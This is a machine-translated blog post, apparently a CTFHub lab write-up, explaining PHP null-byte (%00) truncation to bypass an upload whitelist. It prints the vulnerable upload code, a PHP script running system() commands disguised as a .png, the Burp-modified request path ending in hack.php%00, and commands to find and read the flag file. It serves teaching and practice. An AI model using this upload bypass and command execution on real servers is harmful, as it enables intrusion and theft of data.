当前位置:网站首页>PHP file upload 00 truncation
PHP file upload 00 truncation
2022-06-26 15:11:00 【Yale letter】
0x00,%00,/00 Or something , It's the same thing , It's just a different form of expression . Like a girlfriend 、 Woman ticket .
On website url in ,%00 Will be decoded into 0, And in the ascii in ,0 It's a special character ( Not characters '0'), Indicates the end of the string , So if url In the %00, It means that the decoding is completed .
Such as :
https://www.yalexin/?file=test.txt Now the output is test.txt
If replaced :
https://www.yalexin/?file=test.php%00.txt At this time, the output is test.php
Let's look at an example :
ctfhub The skill tree -web- Upload files -00 truncation
After opening the scene, there is a page for uploading files , Look at the source code as follows :
<script>alert(' Upload successful ')</script><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CTFHub Upload files - 00 truncation </title>
</head>
<body>
<h1>CTFHub Upload files - 00 truncation </h1>
<form action=?road=/var/www/html/upload/ method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
<!--
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert(' Upload successful ')</script>";
} else {
echo "<script>alert(' Upload failed ')</script>";
}
} else {
echo " File type mismatch ";
}
}
-->
</body>
</html> You can see in the source code , First, check whether the file type is in the white list ( That is, only picture types can be uploaded ), After the file type passes , analysis road Parameter values , Then a random number and date are spliced as the file name and uploaded to the specified directory .
After a simple analysis , Probably know the idea : Using agents , Write a php Script , Change its extension to picture type , Then intercept the data packet 、 Modify the data package , Visit the script we uploaded .
In the first place to find flag Possible locations :
<?php
system('find / | grep flag')
?> Save its file as hack.png
Then turn on the agent , open Burp Suite Software , And put the interceptor (intercept) open
Upload what we just did in the browser hack.png
And then we'll be in Burp See the datagram in , We try to
POST /?road=/var/www/html/upload/ HTTP/1.1Change it to :
POST /?road=/var/www/html/upload/hack.php%00 HTTP/1.1 And then click forward
After uploading successfully , We access the script :
/upload/hack.phpSure enough, I saw something :
/sys/devices/platform/serial8250/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/pci0000:00/0000:00:03.0/virtio0/net/eth0/flags /sys/devices/virtual/net/lo/flags /sys/devices/virtual/net/dummy0/flags /sys/module/scsi_mod/parameters/default_dev_flags /proc/kpageflags /usr/lib/perl/5.14.2/auto/POSIX/SigAction/flags.al /usr/lib/perl/5.14.2/bits/waitflags.ph /var/www/html/flag_139938352.phpThe last is what we want . To read the file .
Modify our script hack.php
<?php
system('cat ../flag_139938352.php')// Be careful , The script will eventually be uploaded to /var/www/html/upload Under the folder , Therefore, go back to the upper level directory to read flag
?> You can read the content by continuing to upload according to the method just described ( Be careful : We visit hack.php You will encounter blank pages , Right click to view the source code flag).
边栏推荐
- R语言epiDisplay包的tableStack函数制作统计汇总表格(分组的描述性统计、假设检验等)、不设置by参数计算基础描述性统计信息、指定对于大多数样本负相关的变量进行反序
- Pod of kubernetes
- Talk about the recent situation of several students from Tsinghua University
- Kubernetes的pod
- One click analysis hardware /io/ national network performance script (strong push)
- 杜老师说网站更新图解
- Cache page keepalive use in Vue
- Advanced operation of MySQL database basic SQL statement tutorial
- 重磅白皮书发布,华为持续引领未来智慧园区建设新模式
- Halcon C# 设置窗体字体,自适应显示图片
猜你喜欢

使用RestCloud ETL Shell组件实现定时调度DataX离线任务

【TcaplusDB知识库】TcaplusDB单据受理-创建业务介绍

Restcloud ETL extracting dynamic library table data
![[cloud native] codeless IVX editor programmable by](/img/10/7c56e46df69be6be522a477b00ec05.png)
[cloud native] codeless IVX editor programmable by "everyone"

使用卷积对数据进行平滑处理

Common operation and Principle Exploration of stream

15 BS object Node name Node name String get nested node content

RestCloud ETL抽取動態庫錶數據實踐

Redis cluster

设计人员拿到的工程坐标系等高线CAD图如何加载进图新地球
随机推荐
数据库-序列
R language uses the aggregate function of epidisplay package to split numerical variables into different subsets based on factor variables, calculate the summary statistics of each subset, and use agg
clustermeet
HR export data Excel VBA
Restcloud ETL extraction de données de table de base de données dynamique
Is it safe to open a stock account through the account opening link given by the broker manager? I want to open an account
Unity C# 网络学习(八)——WWW
710. random numbers in the blacklist
Unity C # e-learning (IX) -- wwwfrom
[cloud native] codeless IVX editor programmable by "everyone"
Bank of Beijing x Huawei: network intelligent operation and maintenance tamps the base of digital transformation service
人力资源导出数据 excel VBA
Get the intersection union difference set of two dataframes
Is the QR code for account opening given by the manager of the securities firm safe? Who can I open an account with?
【雲原生】 ”人人皆可“ 編程的無代碼 iVX 編輯器
Unity uses skybox panoramic shader to make panorama preview. There is a gap. Solution
Is it safe for flush to register and open an account? Is there any risk?
券商经理给的开户二维码安全吗?找谁可以开户啊?
Restcloud ETL extracting dynamic library table data
Mark: unity3d cannot select resources in the inspector, that is, project locking